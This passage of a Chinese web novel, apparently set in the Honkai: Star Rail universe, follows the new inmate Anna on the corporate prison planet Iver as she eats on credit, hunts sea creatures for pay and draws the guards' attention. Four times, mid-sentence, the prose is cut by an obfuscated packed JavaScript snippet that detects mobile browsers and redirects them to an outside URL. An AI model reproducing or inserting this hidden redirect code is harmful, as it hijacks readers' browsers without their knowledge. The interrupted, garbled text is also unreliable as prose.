她应该没坐过牢,无论自己的过去还是原身的过去又都是一片空白,有个安全的地方待着过渡一段时间求之不得。 “贷款的地方在哪儿?”她踮起脚尖跃跃欲试。瓦尔德也是服了,他抬起胳膊直指窗口:“不用专门办,你过去刷一下身份卡就自动累积。大家都知道欠谁的钱也不能欠公司的,姐们儿三思呐!” “嗯嗯,嗯。”安娜胡乱敷衍了他几个语气助词,挤开人群走到冷冷清清的窗口前:“劳驾,吃饭。” 身份卡在读卡器上扫过,二十八万的负数鲜血淋漓,高出债务平均线八万。 她果断选择了最贵的特级优质餐,负数追加五万。 瓦尔德:“……”懂了,这姐们儿要么是个真大佬,要么是个纯傻叉。 三百伊维尔币一支的低级营养膏不香吗?五万一顿的饭肯定是苦的! 又酸又苦! 三分钟后机械臂将备好的餐盘推出来,从前菜到甜点,林林总总一共十三道。安娜点了自助送餐机器人服务,额外又花掉一百伊维尔币。 半个食堂的人伸头去看究竟哪个疯子敢在公司身上薅羊毛,看到的却是个瘦瘦高高的身影。整齐干净的簇新囚服说明那是今天才来的新人,除了圆润优秀的颅骨形状外谁也没看出她有哪里特别。 安娜一人横扫十三道菜,珍惜的把最后一口甜奶油抿进嘴,她靠在椅子里叹气:“呼……好吃!” “不好意思,我这人一贯比较喜欢吃独食。你的话还没说完呢,哪种工作赚钱最多?” 瓦尔德看向她的目光变了,不知不觉多了几分谄媚:“那当然是去海里狩猎,运气好的不了几次就够还清欠款。” 高收入伴随着高风险,海中狩猎就是最危险的工种。而且公司也不是做慈善的,提供的设备要收取租赁费用,如有损坏还得照价赔偿,相当于还没开始干就先行又欠了笔钱。 这可不是他隐埋不报,公司的锅爱谁背谁背! “做手工艺品的性价比最高,还能学点技术。可惜每人每周最多只能有两天选择做这个,算是休息日。倒是所有人每周都必须安排一天做清洁工,很麻烦!” 对,伊维尔没有周休制度,从周一到周日都要工作,一周七天,每天最低八小时。 包括清洁工在内。 “这些都是写在守则上的,当然还有些没写在守则里但同样能来钱的活儿……”瓦尔德的声音逐渐放低,“那样的活计可不能随便介绍给不知来历的人,姐们儿你说对吧!” 也就是说每个帮派都有钻过管理漏洞攫取来的额外生财之道,孤狼流在这儿属于小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050701|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众赛道。 “展开说说?”安娜同样压低声音,瓦尔德递给她一个“心照不宣”的眼神。 中年男人:懂的都懂。 高挑女子:看不懂,但可以装作看懂。 “咱们陆生种监管区最大的派系有三个小帮派更是无数,反正各有各的道儿。就拿兄弟我所在的海魔帮来说吧,进了帮派就不用担心被外面人欺负。矿场和渔场都有咱们的人守着,时不时还能享受些外面送进来的好处。”瓦尔德几乎快要贴到安娜身上了,他摊开掌心向女人展示自己的真诚,视线状似无意盯着她的手腕寻找。 他说的“外面”并非伊维尔星以外,而是指监狱以外,海面上那些岛屿偷渡进来的计划外物资。 果然,那里有个红色的羊头。刺儿头,重刑犯,极度危险,无期徒刑。 伊维尔可不是世外桃源,星际和平公司也从来都不是个“和平”的地方。死期已至仍旧还不清欠款的囚犯将成为这座监狱沉积在最底层的淤泥,包括尸体在内他们的一切都将经由法律裁定合理合法交给公司处置。无论犯人们曾经能够调动多少财富,都将在这里被一点一点吮吸殆尽。 初入监狱时所有人都会得到一枚无法洗掉的刻印,有红色、黄色、绿色三种。绿色是肥羊,红色是黑羊,黄色代表羊群中数量最多也最普通的个体。这是一个由典狱长发起,隐藏在犯人之间的特殊指令——任何人只要能够清除掉红印的黑羊,他/她/它就能获得一次机会。 减刑二十年或是还本停息,被判处终身监禁的犯人则可以凭此额外得到去海面上继续“服刑”的优待。这并不合理,因为海岛上没有监狱,变相相当于提前释放了最凶恶的囚徒,但也正是因为这些法外狂徒最为凶恶,经他们之手干掉的黑羊数量最多。 机会可以累积,上不封顶。也就是说一个犯人可以“帮忙”除去复数以上的黑羊,只要他/她/它能做得到。 这里需要提一句,所有被判处终身监禁的犯人印章都是红色。 瓦尔德心动了一下,马上把悸动的心又给原地摁回去。他很清楚自己有几斤几两,要是有除掉黑羊的本事还用每个月咬紧牙关吃一回“放纵餐”?不过眼前这个女人应该还不知道“黑羊”的含义,他大可以将情报交给帮派高层。 大佬吃肉总会给底下的人一口汤喝,多得是人就指着这口剩汤过日子呢。想到这里他侧过头去看默默挤膏体的金发少年,赫然发现这家伙手腕内侧也有个红色的山羊头。 乖乖,老瓦尔德也有看走眼的时候,他还以为这就是两个普普通通的肉羊呢,没想到全是刺儿头。 “姐们儿哥们儿,咱们海魔帮的据点就在食堂东北角。每天早上老大都在,诸位要是有什么想法大可以去看看。” 看归看,看完还能不能走……那就是另一回事儿了。 “嗯,挺好,说得挺仔细。”安娜点点头,从身边待命的自助服务机器“手”里拿过纸巾擦擦嘴角擦擦手指,“我先考虑考虑,不着急。” 有什么可着急的?到底犯了什么事儿,怎么犯的事儿她一概不知,总不能真就老老实实替人坐牢吧!话说到底要坐多少年牢她也不知道,还没人跟她提过这个重点呢。 5. 第 5 章 食堂给犯人们留了一小时用餐,时间一到铃声响起,所有人都必须离开这个空间返回囚室。半小时后囚室未能检测到囚犯的生物学信息就会联动激活项圈内侧的毒针立即执行死刑,没有理由和借口,除非早上登记了外出工作。 ——工作地点另有一套监测报道的系统,麻烦归麻烦但是能节省大笔人力成本——交给AI系统去运算,麻烦也不是人类麻烦。 安娜打着哈欠原路返回八层四号走廊,比老油条还要老油条的站在囚室门口伸了个懒腰。门开了,门关了,她看上去就像在这里已经生活了十年那样适应得不能更适应。 住在对面的金发年轻人迈过门框时下意识回头扫了一眼,只看到灰色囚服消失在门后。囚室门合拢上锁,小空间里唯有一人存在。他松了口气倒在倒在床上,为了隐藏情绪用胳膊遮住眼睛——得想个法子从伊维尔逃走,茨冈尼亚-Ⅳ上或许还有零星氏族的人活着,他要回去! 但是埃维金人天生就没有高武的技能分支,仅凭他自己想要突破监狱重重防守无异于天方夜谭,也许是应该加入某个帮派借力…… 或者赌一把? 头一天的监狱生活体验良好。虽然夜间伊维尔并不熄灯但安娜想睡觉时也不会受光线影响,继午餐之后晚上她又贷款饱饱吃了一顿,回到囚室简单洗漱躺下就睡,一觉睡到起床铃炸响。 下意识望向窗外,漆黑中偶尔闪过些许银色的尾巴或者鳞片,完全无法判断时间。 十分钟后所有人都打着哈欠垂头丧气出现在门后等待指令——今天没有贷款吃饭的好事儿了,新人必须得给自己找份工作。 在脖子上的约束环威胁下,犯人们比羊群还要温顺的鱼贯走去食堂。安娜径直朝船锚图案下走,没有花时间思考犹豫的她占据了个相当靠前的位置。 前面有几个来得更早的,看到有人走过来下意识往密集了移动。 安娜停下脚步,保持着一个不会被人插队但也不怎么合群的距离站定,气氛立刻重新变得松弛。 那明显是个早有默契的狩猎小队,伊维尔监狱不允许犯人携带通讯工具,想来这几个人同属一个势力帮派所以才能有效传递信息组成队伍。 既然不受欢迎,那就不必强行往圈子里挤,就算硬挤进去不也是自己受罪,何苦?这地方又不是人间仙境,好心人没有,全是穷凶极恶的罪犯。 不过没关系,反正我也不是什么好东西。 很快背后另有几个犯人排过来等着,本来还算高挑的安娜立刻成了山峦间的洼地。入狱时测量的身高有一米七五,现下前后左右无论男女目测都在一米八以上,她翻了个白眼抱着胳膊直吐气儿。 其他登记处早已人满为患,就连做清洁工也有得是人抢。想想也是,留在监狱内面对的总归还是同类,思维逻辑和行动路径多少能推断一二。下海采集狩猎就不一样了,鬼知道鱼是怎么想的,也许人家就愿意一口吃一个两脚兽呢? 等了好一会儿负责登记的狱卒才姗姗来迟,他脚边跟着三个机械,除去犯人们常见的治安狗外还有个圆溜溜的打卡机。只需要将身份牌插进凹槽,“滴”的一声后就可以去领取装备顺便签署免责声明——自愿下海,后果自负。 “08241321号,采集还是狩猎?”发放物资的狱卒顶着个正六边形的脑袋,如果不是特殊XP爱好者的话那就他天生就是这么个品种。 安娜盯着他棱角分明的脑壳两眼放光:“兄弟,帅啊!” 一般人画都画不出这么正直且标准的正六边形! “咳咳!”狱卒被她语气里的真诚小小感动了一下,斥骂及时转成战术咳嗽。他敲敲桌面,催促对方快些回答。安娜看向分列两侧的装备,潜水服都是一样的,区别在于去海底拣珍珠蚌只需要携带采集器,而狩猎……只给了根顶端能放电的长棍。 “狩猎。”聊胜于无吧,安娜指指棍子,“要做特殊登记吗?” “不必。”这玩意儿电不死人,再说了伊维尔也不禁止犯人互相攻击。狱卒抬了下眼睛,快速将装备包和棍子塞给她,“去那边等,到点上升降梯。” 第一天就贷款吃了十万块的新人,碳基陆生区早就传遍了,身边来来去去的犯人无不盯着她的手腕看。 那里有个无法遮掩的红色山羊头。 一时间四周眼神乱飞,安娜兀自要死不活的找了个墙角窝进去靠着——这是节能模式。到手的长棍疑似橡胶材质,硬度尚可电流强度感人,也就麻翻几只鲷鱼的程度。就这破玩意儿还要损坏赔偿,放在外面指定让人投诉到破产。 第一天上工的新人们绝大多数选择去做手工,比起深入地下矿道或是海底,留在监狱里肯定更安全。而且做手工的工资也不低,划下来一上午做四个小时也能收获三千两百伊维尔币,中午领到薪水可以第一时间赶到食堂吃饭。这还是只算了时薪的情况,要是手脚利索些超出预期拿到奖金岂不是美滋滋? 也有些自忖擅长社交的犯人选择去做清洁工,反正每人每周都必须做一天,不如一开始就先选了。清洁工有个好处就是能在监狱内部四处游走,说不定偶遇哪位大佬交上好运。 “时间到,跟着指示标走,老实点晚饭见,不老实咱们就来生再见。” 有两个武装无人机镇场,狱卒满脸不耐烦催促所有登记好的犯人走向升降台。 安娜随着大流站上去,脚下一重圆形金属脱离地面徐徐向上升去。 升降台的面积比升降梯要大,但是四周没有护栏。安娜眼睛半闭,拖着装备挤在人群里。她忽然像是被冷风吹了狠了那样哆嗦着侧过身,密密麻麻的升降台上一个人有大动作所有人跟着遭殃,临时同事们张嘴就是骂。 发明联觉信标的人大概也没想到宇宙中存在这么多恶毒的语言吧……她抬起眼睛看着出现在身侧的陌生人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050702|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,嘴角弧度似笑非笑。 对方梗着脖子垂下眼睛,不安的小幅移动脚掌。 这场小小的骚乱在升降台直达海面后自动告一段落。 从现在开始犯人们就可以进入海中作业了,不远处的透明观察室内督战队正在就着热饮吃早餐。这些人名为“督战队”实为“收尸队”,试图逃跑的犯人被击毙就会自然变成尸体,没毛病。犯人想泡在海里拖延时间也没关系,反正到点没出现在食堂签退打卡一样变成尸体,区别只在于搜寻难度……有液金项圈在倒也不是问题。 安娜提着包和棍子走到海边,反手挽了个棍花试试手感,试完顺便用个巧劲儿把棍子扎在沙地上,周围忽明忽暗的眼神立刻消失了一大半。她打开装备包取出连体潜水服套好。这东西薄得很,就跟套了件塑料布似的,脖子以上像个有拉链还自带潜水镜的帽兜,拉上拉链隔水透气。简单来说它本身就是个过滤膜,方便就方便在一次性且能够支持十四个小时的水下呼吸时间。 呵呵,一次性,但要求损坏赔偿。 放在需要防范犯人越狱出逃的监狱再合适不过。 潜水服整体呈银灰色,能在海中模拟出大型海兽的样子,勉强算是种防护手段。换好装备她将拉链拉过头顶,抽出棍子扑入海中,很快水面上就再也看不到游曳的痕迹。 伊维尔星上海洋面积远远超过陆地,这里原本是海洋生物的家园,现在却变成人类丢弃同类的垃圾堆。 向前游了一段活动开手脚后安娜转身看向自己游来的方向,锥形圆顶的外观属于典型火山遗留痕迹。从昨天了解到的信息看这个火山群已然沉寂,堆积在地壳中的能量找到了其他道路。眼下她几乎与火山锥的圆形入口同处一个水平面,上层还是普通且正常的岩石结构,随着深度逐渐下降山体上出现了密密麻麻的黑色小方块。 那是囚室的窗户。 犯人们按照物种与属性分配囚室所在的区域——就比如之前见过的那个趴在水缸里的哥们儿,狱卒敢把放在碳基陆生区么?人是上午关的,窗户是下午拆的,中间还能吃顿午饭补充体力! 所以贴着山体临海的都是陆生种,水生种全在靠近矿道的岩基层蹲着。 沿着山脊向前有一条幽深宽阔的海沟,其下丛生着叶片宽大的藻类,海沟里面就是犯人们的工作场所。 安娜提紧棍子游过去,经过一道圆形金属装置身份卡自动被识别并锁定,接下来的几个小时内她的小命姑且算是保住了。 抓个什么东西带上去交差呢?不同的猎物兑换的伊维尔币也不尽相同,你要是抓一串小鱼干那就只有基本时薪,到时候统一交给厨房用专门机器将它们加工成低级营养膏体。大型猎物么……头部生满尖角看上去跟利维坦似的大型海兽晒着太阳慢吞吞游过,在它面前人类就像条傻了吧唧的小蠢鱼。 安娜默默移开视线。 这个不行,打不过。 6. 第 6 章 肚子有些空,当务之急是解决早午两餐,至于需要上交的业绩……啧,还是走一步看一步吧。 打定主意后安娜一头扎入深水,海沟中部的礁石缝里生活着不少守株待兔的家伙,好不好抓另说,好找倒是真的。它们躲在各种缝隙构建的巢穴里等待粗心大意的食物主动送上门,从来没想过这种悠闲的生活也有被打破的一天。比起四处游动的鱼群还是有固定居所的钉子户更方便狩猎者登门“拜访”——所以说买房子这件事并不适用于所有人。 找到巢穴洞口,棍子怼进去,放电,很快就她为自己准备好今天的早饭。这会儿肯定不能麻烦食堂大厨代为加工,她带着战利品浮上海面,找了个岛礁靠着准备大快朵颐。 潜水服的保温效果不错,拉开拉链海风迎面扑来,安娜畏寒的抖了抖:“呼……” 海底捡来的黑曜石碎片还挺锐利,开膛破腹剥皮去骨,看上去很有分量的大家伙实际吃起来也就两块。而且鱼肉热量低,有其他食物来源的情况下它并不是补充体力的首选,想要吃饱肚子还得去找很会囤积脂肪的哺乳类。 休息了四十分钟解决早餐,她拉上拉链准备再次潜入水中。水面下有些躁动,原来是先前扔掉的鱼头鱼皮鱼内脏引来了不少机会主义者。这些流浪汉围着大自然的馈赠流连忘返,看上去就很有进食品处理机的气质。 主动送上门的业绩当然不会有人错过,长棍甩出残影,海面上很快出现白花花一片仰泳的鱼。 督战队坐在观察室里昏昏欲睡,在温暖的环境中吃饱肚子会很容易犯困,所有动物都一样。犯人们要干满八小时才能从海里出来,想泡八个小时摸鱼是不可能的,水太冷,不动起来的话要不了多久就会失温。最主要的是铤而走险出来采集狩猎的大多都是刑期将满着急还债的囚犯,根本不用催。 “上礼拜屋顶花园送走了个老皮皮西,他妈的,几千个亿的遗产全便宜那群孙子了,也不知道这种好事儿什么时候才能轮到咱们头上。” 奥斯汀的履历最新,说起话火药味儿也最冲。他把喝完的能量饮料罐捏扁,就好像捏得是暴富同事的头骨。 队长转动眼珠扫过这个五大三粗的年轻人,很快又把眼珠子转回去。 像星际和平公司这种巨型组织,身处其中想要出人头地靠什么?能力?学识?口才?不不不,最重要的是关系!能被分去屋顶花园伺候那些不小心翻船的阔商大佬少说也得是公司管理层的亲戚,一般社招考进来的就只能待在底层一年一年熬。要不是奥斯汀他妈的亲妹妹给市场开拓部的一个小主管当了情妇,这小子还能进督战队天天坐在暖房里吃点心喝饮料?想都别想! 要知道碳基陆生的这些犯人已经算是比较好管理的了,其他种类譬如智械、改造人或者海洋智慧生物哪样好打发?真是想想就觉得头都要炸掉。 “要是咱们也能捞一笔就好了,提成足够在庇尔波因特的中距离卫星上买个庄园舒舒服服过完下半辈子……”财帛动人心,队长不发话不代表其他队员心里没有小九九。 督战队的内部通话一时间全变成埋怨,除了埋怨隔壁同事的好运外还要埋怨为何分到自己手下的全都是些穷鬼。 “肥羊几乎全都分去屋顶花园了,咱们这儿的全都是些刺儿头黑羊。昨天更是有人狗胆包天贷款十万伊维尔币吃饭,真是不知道‘死’字怎么写!” “屋顶花园”是伊维尔最特殊的一个区域,不分族裔不看属性,唯独需要验资——资产到位很多事都会变得好通融。当然了,这个“到位”那是相当的到位,普通人祖宗十八代加一块撅屁股弯腰干上几百年也赚不来个零头。去到屋顶花园的犯人除了失去自由外完全不用像其他人那样辛苦工作“还债”,他们只需要享受和花销,最好能把遍布全宇宙的家产全花在这儿。 就算有些人心明眼亮不为所动也没关系,狱卒们可以“帮忙”,上到三餐安排下到拟定遗嘱,保管妥妥帖帖替大佬们安排好接下来的人生。 在那里工作的狱卒环境好,三餐吃得好,危险系数也低。富豪们大多怕死,花钱消灾的姿势一个比一个熟练,万一哪位临走时修改遗嘱捐赠遗产,经手人怎么着也得按规矩拿些佣金润手。这些都是其他区域求都求不来的好事儿,也怪不得奥斯汀和他的队友们一聊起来就义愤填膺。 “等吧,少一个黑羊咱也能分点奖金,别往高处比日子总能过得下去。”聊到最后督战队队长简简单单下了个结论,却见年轻气盛的队员忽然伸长脖子朝海面上看,“那边好像有个犯人过来了!” 呼啦啦半个队伍一下子全围到窗前向外看。 平时下海狩猎的犯人恨不得干到最后一分钟才肯收手,一是最大限度利用设备,二是关狠了权当放风,总之极少有人大中午半中腰的往回走。偏偏今天就有个和别人不一样的家伙,百无聊赖的狱卒们恨不得贴到人身上瞧热闹。 那是个高挑的女人,看发型就知道是新来的。她一步一步走上空无一人的升降台,手里牵着条海藻“绳”,连串大大小小的鱼捆在上面。 她径直穿过平台来到玻璃观察室外,曲起手指在落地窗上敲了两下。 很客气,很礼貌,很……平静。 “诸位好,我来兑换一批猎物。”安娜把海藻“绳”递出去,等待狱卒给出兑换结果。她怎么知道具体该抓多少猎物才能抵消每天的花费呐?万一一不小心干多了不就亏了么!万万不可如此,还是先行问清楚比较好。 打工是为了生存,但活着并不是为了打工,这个顺序不能反。 犯人提出的要求合情合理,就是有些奇怪。队长看了奥斯汀一眼,高壮的年轻人上前接过那串鱼在手里大概掂了掂,扭回去冲着上司点头。 份量不轻,按照平均标准算她圆满完成了今天的工作量。但是距离结束工作还有一下午时间,可不能让犯人闲着。 “称一下。”奥斯汀把鱼从海藻上解下来扔进不远处的塑料筐,计数器不断向上蹦,最终停在一个数字上。督战队队长走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050703|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来看看:“如果下午也能保持这个数你就不必忧心将来的花销和欠款了……08241321号?” 他低下头调取资料,看到刑期后愣了一下——三个一等罪,二百年到无期。 “你是长生种?”不然没必要起点就是二百年! 安娜可疑的沉默片刻后开口:“应该……” 应该不是,但她不确定,所以只答了一半,是与不是都交给对方自行脑补。 “早点还清钱争取搬到海岛上去吧,你还年轻。”听上去像是一句忠告,安娜哼哼了两声敷衍他,“嗯,嗯嗯。” 队长不再说话,看着女人懒洋洋提起配发的长棍重新回到海里去,等人影消失不见才扯扯嘴角冷笑:“咱们这儿怕是来了个不得了的人物,有乐子看了。” 督战队成员马上从玻璃窗前回到他身边围着,活像蚂蚁围着一滴蜂蜜:“怎么说?” “一头黑羊,嘿!”奥斯汀冲距离最近的同事挤眉弄眼,后者拿了罐饮料砸他,“可别看不起女人,一个女人能在伊维尔盖上红章说明她的凶残程度更胜男人十倍,不然早让人弄死了。” “我记得下水的时候她自己一个人独来独往,居然没被其他人组团儿干掉?”队员们七嘴八舌议论起来,甚至做起新人大杀四方的白日梦,“还是说她把围殴自己的人全给干掉了?” 每“清除”一头黑羊,负责监管并控制事态的狱卒就跟着也能拿到一些奖金,看在工资的份儿上大家对此乐见其成。 “那不能,活到现在的旧人都不是傻子,那些鲁莽的早就躺在冷库里等着挨刀分装。”有经验的队员大摇其头,颇有把脑袋摇下来的架势。 那些动不动就跟超雄综合症一样发作的犯人往往死在最前面,伊维尔又不禁止犯人内斗互殴,一个人打不过一群人想法子坑也能坑死他\她\它。越谨慎的人越能活,其他人看到后照猫画虎也会变得谨慎。所以监狱里完全仰仗暴力达到目的的人不是没有,只不过很少,极少,就算能够依仗身体力量大家也还是会多少动动脑子。 比如这个季度来的新人刚刚落下脚,旧人只会冷眼观察,看好想好了才是动手的时候。 “算她运气好!”奥斯汀像是平白被扣掉了一个月奖金那样沮丧。他不觉得一个落单的女人有多危险,心底不由埋怨犯人们实在是越来越狡猾胆小了,为了保命白白放过大好机会。 你们倒是上啊! 可惜犯人们听不到他的心声,就算听到也无动于衷。比起在海里冒险猎杀黑羊,还是杀杀鱼性价比更高,只要不是被债务逼得走投无路了谁也不想拿自己的命去给别人试探新人几斤几两。 新来的女囚犯下了水转眼功夫就消失不见,想抓也找不到踪迹。浪费那个时间去堵她?就算运气好得手了典狱长许诺的机会又该分给谁不分给谁!海中狩猎最忌内讧,尤其是猎物尚未入毂就想起分赃的事儿……实在是蠢得没边儿。 能活着被关进伊维尔的好人不多,蠢人就更少了。 7. 第 7 章 下午安娜卡着点从海中回来,手里拖着只半大不小的纺锤型哺乳类海兽。这家伙是个亚成体,兼具幼崽的好奇心行动力以及成体的力量与暴躁。 长棍仅剩的电量只够放倒这样大小的猎物,再大就需要犯人亲身上阵搏斗,得不偿失呐得不偿失! 兑换猎物的队伍行进迅速,很快就轮到她。女人把海兽扔进量具,退到一旁等待结果。 她今天的底薪是八千伊维尔币,狱卒们没必要在称重这种小事上做手脚打消犯人工作的积极性。虽说经营监狱的名头不好听,但利润从来都是实打实的一本万利,犯人干活儿干得越积极典狱长上交的财报就越漂亮。 “依陆斯膨兽的亚成体,博识学会针对它有个不大不小的订单。”负责核对的狱卒心情不错,看向安娜时脸上带着些笑意,“运气很好,等会儿走的时候别忘了领份悬赏册,照着册子捕捉效率更高。” 安娜默然,怪不得今天在海里没遇到打对头抢猎物的糟心事儿!原来是别人早已选定目标,叫她在其他地方稀里糊涂捡了个漏。 “知道了。”她继续盯着狱卒看,这家伙愣了一下才反应过来犯人究竟还在等什么。 “你今天拿满了八千伊维尔币的底薪,这头亚成体海兽的奖金是五万伊维尔币,共计五万八。但是潜水装备和防身武器均已破损,需要扣费赔偿。” 他在计数器上戳了几下得出最终结论:“还剩两万八伊维尔币,恭喜。需要我帮你代还贷款吗?晚餐加水费电费衣物磨损费,卫生费管理费住宿费……啊对了!再除去应缴纳的个人所得税,留下一万伊维尔币足够从今晚到明早的花销。” 安娜:“……” 正经监狱是这样的?犯人居然还要交个人所得税! ——这种税也可以随随便便征收么?交给谁?! “贷款利息是一日一记还是一月一结?”她想了一会儿,张嘴问了个奇怪的问题。 新人少有能在这个问题上心平气和的,见她并没有撒气闹事的苗头,狱卒态度不由变得慎重起来:“一日一记但一月一结,逾期未还将记入本金反复计算。” 驴打滚,利滚利。 “那就存着等月结的时候再说吧,我脑子不好使,每天还容易记不清数。”她平静的做好赖账准备。 还钱?还什么钱!我凭本事借的钱,为什么要还! 见犯人打定主意,狱卒也不为难她,在身份卡上输入余额点数就放人去升降台——今天不花明天也得花掉,只要身在伊维尔就不怕榨不出油水。 回到升降台上安娜眼尖的发现早晨站在自己前面的那支小队里少了个人,其他犯人也或多或少挂了点彩。活下来的人脸上带着股莫名的兴奋,没由来的让旁观者打从心底反胃。 早上出发时升降台人挤人就差把人挤掉下去摔个半死,晚上收工后圆形金属台上松快了不少。看来失去队友的小队不止一个,但是没人表现出悲伤的模样。 也就是说……同伴死亡能带来足以抵过人类情谊的利益。 “过了时间不回去食堂签退打卡的人一律视作越狱自动执行死刑,都知道吧!” 奥斯汀站在升降机开关前大声提醒,人群稀稀拉拉有气无力的回应:“知道……” 他拉上开关,金属台缓缓下降,犯人被送回监狱内部后就到了捡尸队工作的时候。 队长打开监控器,黑色的海洋里零星散布着几个淡金色光点。 “三人一组,遇到危险及时呼救。”他启用了直通太平间的管道,等待队员把尸体捞上来后核对过身份再扔进去。 照着监控器给出的坐标,狱卒们全副武装乘坐小型潜艇谨慎靠近,确认周围没有猎食者埋伏就立刻回收尸体撒丫子后撤。 犯人们不知道伊维尔的海洋里都生活着什么,监狱的管理者不会不知道。 “一共死了七个,两个尸体被吃掉了,剩下五个全在。” 很快狱卒们带着死亡犯人的尸体回到监控室交给队长仔细核验,由后者口头向狱医报告。 对面从头听到尾,只给了一个“嗯”字做回应,奥斯汀他们就拖着尸体乱七八糟往管子里塞。这条管道的终点直达监狱太平间,分割速冻一条龙,能够在第一时间把一具完整的尸体整理成可以出售的状态。 如果是刑期将满债也还完了的幸运儿,只消家属出笔赔偿金外加运输费就能领走骨灰盒或身份牌等遗物。刑期未满还完了债的人将在太平间冷冻仓里度过接下来的时间,然后重复上述操作(追加尸体保管费)。至于那些牢没坐完债也没还完的犯人么……如果家属继承了遗产就必须代为偿清贷款,家属放弃继承或是没有家属他们将会成为商品出售,用以抵偿债务。 “海里总收不齐尸体,矿坑送来的尸体不是缺胳膊就是少腿,只有清洁工那边的收获还凑合。真是的!” 切断通讯的狱医大声抱怨,得到同事们积极响应:“就是就是,办事一点也不操心,烦死了!” 数条粗大管道从天花板上垂下来,出口就插在全自动流水线的下料口上,一堆又一堆人形物体被慢慢挤压进去。 “我要去吃晚饭了,你们谁一起?”她摘下口罩脱掉白色罩衣,好几个人跟着站起身,“我去我去。” “……我看机器,麻烦带一份海岛风味的盒饭,谢谢。” 医疗站必须有人留下值班,这事儿通常摊派给资历最轻的新晋成员。才来没多久的新人很识趣,主动提出总比被前辈点名有体面。自己主动站出来那叫“眼里有活”,让人点名点到头上难免被戴个“脾气古怪不好相处”的帽子。 不是不想反抗,而是好不容易拼过几十场考试面试才得以被星际和平公司录用,就因为办公室生态的问题而不得不辞职离开谁也不甘心! 好歹拿个年终奖再走嘛! 其他人纷纷从办工桌下面掏出饭碗,刷卡出门径直走向专用食堂。 狱卒不和犯人混在一起用餐,但是每一层的食堂都在同一个位置。医生们选择了距离碳基陆生监禁区最近的员工餐厅,听说今天这里供应很新鲜的海鱼鱼生,值得一试。 星际和平公司的员工福利还不错,底薪不高没有房补但包吃,要知道很多文明都是一个吃字就解决人生大半难题的。 狱医不同于普通狱卒,属于技术工种,起薪和其他方面的待遇理所当然要更高一些。他们脸上挂着硕大的黑眼圈,连着装都有趋同的架势——只要舒服就好,哪里还管什么搭配不搭配。 “来个特餐,难吃就投诉你哦!”斯黛拉交出饭盒撑着台子和厨师开玩笑。 今日特餐是伊须磨洲江户星风格的生鱼片,沾上当地出产的甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050704|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口酱油和山葵根研磨物别有一番风味。鱼就是犯人们才从海里抓上来的那些鱼,从离开海面到躺在案板上挨刀没超过四小时。适合生食的大块鱼肉被取下,切得薄如蝉翼如同花瓣一般在盘子里摆出各种图案与造型。黑褐色液体盛装在仿漆器花纹的调料格里,旁边的格子躺了坨雅绿色。 “你们运气真不错,刚才那条鱼叫他们戳得千疮百孔,大部分都不得不塞进机器加工成低级营养膏。这条一看就是猝不及防被电昏了抓到的,醒过来后又凶又野,瞧!” 现场片鱼的厨子抠紧鱼鳃把食材展示给医生们欣赏,金红色的大鲷鱼吃痛后奋力甩尾,响声震天。 “就吃它!”狱医们好奇的围观厨子杀鱼,然后心满意足人手一份特餐找位置坐下。 愿意走一段距离到餐厅吃饭而不是让无人机送餐的工作人员毕竟是少数,四五个人找到一处靠窗的好位置。他们额外又叫了饮料、水果和甜点,安稳下来便侧头盯着下方的犯人看他们都在食堂里做什么。 ——伊维尔星不与外界往来,就连物资进出也由典狱长单方面与公司联系再经过无人星舰不定期运送。在这地方住久了很容易变得无聊,这几个人显然把囚犯所在的食堂当成昆虫饲养箱观察。 “……近日星际和平公司与仙舟联盟达成一项重要合作协议……” “唉……这条广播听了有二十多天了吧,什么时候才能换新的啊!” 为了避免犯人得知监狱星以外的消息,连狱卒和其他工作人员也失去了获取最新消息的权利,所以作为监狱医生的斯黛拉才会发出那样的感叹。 伊维尔星的公转周期和故乡不一样,这姑娘只能凭借直觉大概估摸。宇宙无边无际,银河浩渺无垠,每个不同的恒星系统都有独属于自己的周期历法,在一些特别的星球上甚至没有昼与夜的概念。 